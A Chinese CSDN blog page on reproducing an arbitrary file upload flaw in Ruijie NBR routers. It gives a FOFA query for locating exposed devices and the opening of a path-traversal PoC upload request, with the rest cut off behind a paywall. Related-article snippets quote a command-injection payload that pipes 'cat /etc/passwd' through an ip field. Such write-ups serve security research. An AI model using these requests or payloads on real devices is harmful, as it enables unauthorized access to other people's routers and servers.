锐捷 NBR 路由器 fileupload.php 任意文件上传

已于 2024-03-08 16:41:33 修改
阅读量249 收藏
点赞数
分类专栏： 漏洞复现 文章标签： web安全
于 2024-03-08 16:23:26 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43567873/article/details/136565483
版权
本文介绍了锐捷NBR路由器中fileupload.php存在的任意文件上传漏洞，详细阐述了漏洞描述、影响范围，并提供了漏洞复现和POC。
摘要由CSDN通过智能技术生成

简介

nbr是一款高性能，高安全性的一款的稳定的网络边界路由器设备，具备强大的安全功能，能够有效保护网络免受恶意攻击和数据泄露。

漏洞描述

锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器获取服务器权限

影响范围

锐捷 NBR 路由器
Fofa:

app="Ruijie-NBR路由器"

漏洞复现

POST /ddi/server/fileupload.php?uploadDir=../../4321&name=1234.php HTTP/1.1
Host: 
Accept: text/plain, */*; q=0.01
Content-Disposition: form-data; name="file"; filename="111.php"
Content-Type: image/jpeg
Content-Length: 32
了解本专栏 订阅专栏 解锁全文 超级会员免费看
今天晚上早睡觉
关注
专栏目录
订阅专栏
【1day】复现锐捷 NBR 路由器 存在任意文件上传漏洞
记录并分享学习安全的知识点..
08-21 973
锐捷NBR路由器是锐捷网络科技有限公司推出的一款高性能企业级路由器。NBR是"Next-Generation Broadband Router"的缩写，意为"下一代宽带路由器"。该路由器具有强大的处理能力和丰富的功能，适用于中小型企业、校园网络和数据中心等场景。锐捷 NBR 路由器 存在任意文件上传漏洞，可能导致执行恶意代码、服务器拒绝服务、数据泄露、网站篡改和横向渗透等危害。
锐捷NBR路由器fileupload.php任意文件上传漏洞
xiaokp7的博客
09-13 1632
锐捷NBR路由器是锐捷网络科技有限公司推出的一款高性能企业级路由器。NBR是"Next-Generation Broadband Router"的缩写，意为"下一代宽带路由器"。该路由器具有强大的处理能力和丰富的功能，适用于中小型企业、校园网络和数据中心等场景。锐捷 NBR 路由器 存在任意文件上传漏洞，可能导致执行恶意代码、服务器拒绝服务、数据泄露、网站篡改和横向渗透等危害。
fileupload.php 下载,fileupload.php
weixin_36021459的博客
04-14 368
//header('Access-Control-Allow-Origin:*');class FileUpload {private $filePath; //指定上传文件保存的路径private $allowType=array('gif', 'jpg', 'png', 'jpeg', 'txt'); //充许上传文件的类型private $maxSize=1000000; //允...
php file upload,fileupload.php
weixin_30916627的博客
03-10 416
/*** upload.php */header("Expires: Mon, 26 Jul 2001 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("Cache-Control: no-store, no-cache, must-revalidate");header("Ca...
Goby 漏洞更新｜锐捷网络 NBR路由器 webgl，腾讯架构师首发
2301_82243100的博客
04-15 930
系统负荷过高，导致网络拥塞，建议降低系统负荷或重启路由器”) || body=“class=“line resource” id=“nbr_1”” || title=“锐捷网络 --NBR路由器–登录界面” || title==“锐捷网络”) && body!=“Server: couchdb”锐捷网络NBR700G路由器存在信息漏洞，攻击者可利用该漏洞获取敏感信息。IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
锐捷网络NBR700G 信息泄露漏洞
weixin_43567873的博客
03-13 335
锐捷网络NBR700G 信息泄露漏洞
锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞(CNVD-2021-09650)——漏洞复现
2301_76437855的博客
06-11 649
锐捷网络股份有限公司是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。公开日期：2021-09-19漏洞编号：CNVD-2021-09650危害等级：高危漏洞描述：锐捷NBR路由器存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权。
CNVD-2021-09650：锐捷NBR路由器(guestIsUp.php)RCE漏洞复现 [附POC]
薛定谔嘚喵博客
11-15 1153
锐捷网络是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。锐捷NBR 路由器系统存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。
TPLink、小米、FAST、锐捷 品牌路由器固件下载（.bin文件）
08-10
本资源提供了TPLink、小米、FAST和锐捷四大品牌路由器的固件，这些固件通常以.bin文件格式提供。下面我们将深入探讨这些知识点。 首先，.bin文件是一种二进制文件格式，主要用于存储程序或数据，尤其在嵌入式系统中...
锐捷NBR路由器使用手册
09-22
NBR系列路由器RGNOS9.17版本配置手册
锐捷NBR系列路由器存在管理员密码重置漏洞
最新发布
weixin_43167326的博客
06-13 466
锐捷NBR系列路由是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。某捷NBR系列多款路由器存在管理员密码重置漏洞，攻击者通过漏洞重置密码登录后台。
锐捷某系统前台任意文件写入分析
热门推荐
weixin_43526443的博客
01-20 7万+
文章转自作者瓜皮辰 Part1 前言 这套系统我估计是全网第一个公开能拿shell的吧（不是的话当我没说），哪套系统自己猜，这次先分享下前台任意文件写入，还有几个rce日后分享，也感谢独立团孙德胜Alan提供的思路。 Part2 代码分析 漏洞位置： /view/vpn/autovpn/feature_commit.php 先通过POST传参进入if判断 在下面的fc_extendsubnet处传参即可进入漏洞位置 会将我们传入的参数提交到putConfig...
锐捷 NBR路由器 远程命令执行漏洞（CNVD-2021-09650）
孤桜懶契
04-14 1万+
漏洞描述 i ⭐锐捷NBR路由器 EWEB网管系统部分接口存在命令注入，导致远程命令执行获取权限 漏洞影响 s ✅锐捷NBR路由器 EWEB网管系统 空间测绘 d ⭕FOFA：title="锐捷网络-EWEB网管系统" ⭕FOFA：icon_hash="-692947551" 漏洞复现 ✅访问首页 ✅执行Payload命令 POST /guest_auth/guestIsUp.php mac=1&ip=127.0.0.1|cat /etc/passwd > test.tx
安全漏洞之任意文件上传漏洞分析
2201_75735270的博客
11-07 238
X 微 e-office 的那个前台任意文件上传漏洞已经被爆出一段时间了，相关的漏洞利用脚本甚至是漏洞批量利用脚本也有很多。在这里根据系统代码结合 POC 来分析一下这个漏洞点。
锐捷EG易网关与NBR路由器命令执行漏洞-2
1stPeak's Blog
08-09 1万+
锐捷EG易网关与NBR路由器——命令执行漏洞
锐捷NBR路由器命令执行漏洞复现
weixin_48421613的博客
05-10 5289
锐捷NBR路由器命令执行漏洞 首先先看看页面的样子 2. 这里需要注意的是，由于权限问题，厂商使用的cookie为用户名密码加密使用，什么意思呢？ 经过测试，当密码输入错误的时候，部分型号nbr路由器仅能执行show version，甚至有些不能执行任何命令。但是当用户名密码正确，生成正确的cookie的时候，即可执行符合路由器规则的命令 此时可以执行上述的命令 传统武学点到为止，那么是什么导致这个命令执行漏洞产生呢？ 可以看见，这里会检测系统cpu以及内存，与系统交互的时候并没有严格的过滤掉其他命令
锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell
CCPxxxXxxx的博客
08-04 1万+
锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell 漏洞编号： CNVD-2021-09650 漏洞描述：锐捷NBR路由器 EWEB网关系统部分接口存在命令注入，导致远程命令执行获取 漏洞影响： 锐捷NBR路由器 EWEB网关系统 漏洞复现： 首先打开网关系统 然后在URL后面加 /guest_auth/guestIsUp.php，此路径为漏洞存在地。 我们打开hacker Bar,在Post data 输入 mac=1&ip=127.0.0.1|cat /etc/pas
锐捷路由器漏洞分析
banghengxun2661的博客
05-17 3845
0x00 前言 今早看到关于锐捷路由器漏洞CNVD-2018-06947 被披露POC，对于POC进行复现后，继续挖掘路由器漏洞。 0x01 复现 通过测试发现POC只能执行VERSION，也就是查看版本。复现的截图如下： 这个命令执行只能查看版本的感觉不太过瘾，只好尝试去挖掘漏洞。 0x02 漏洞挖掘 在NBR1300G-E存在COOKIE会话固定漏洞，利用这个漏洞结...
锐捷NBR路由器配置基础与QoS设置教程
"锐捷NBR路由器配置指南" 本文档是关于锐捷NBR路由器的配置指南，旨在帮助用户理解和配置NBR的功能。NBR路由器的配置分为快速配置和高级配置两个阶段。快速配置部分提供了一些典型应用示例，用户可以根据自己的实际...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值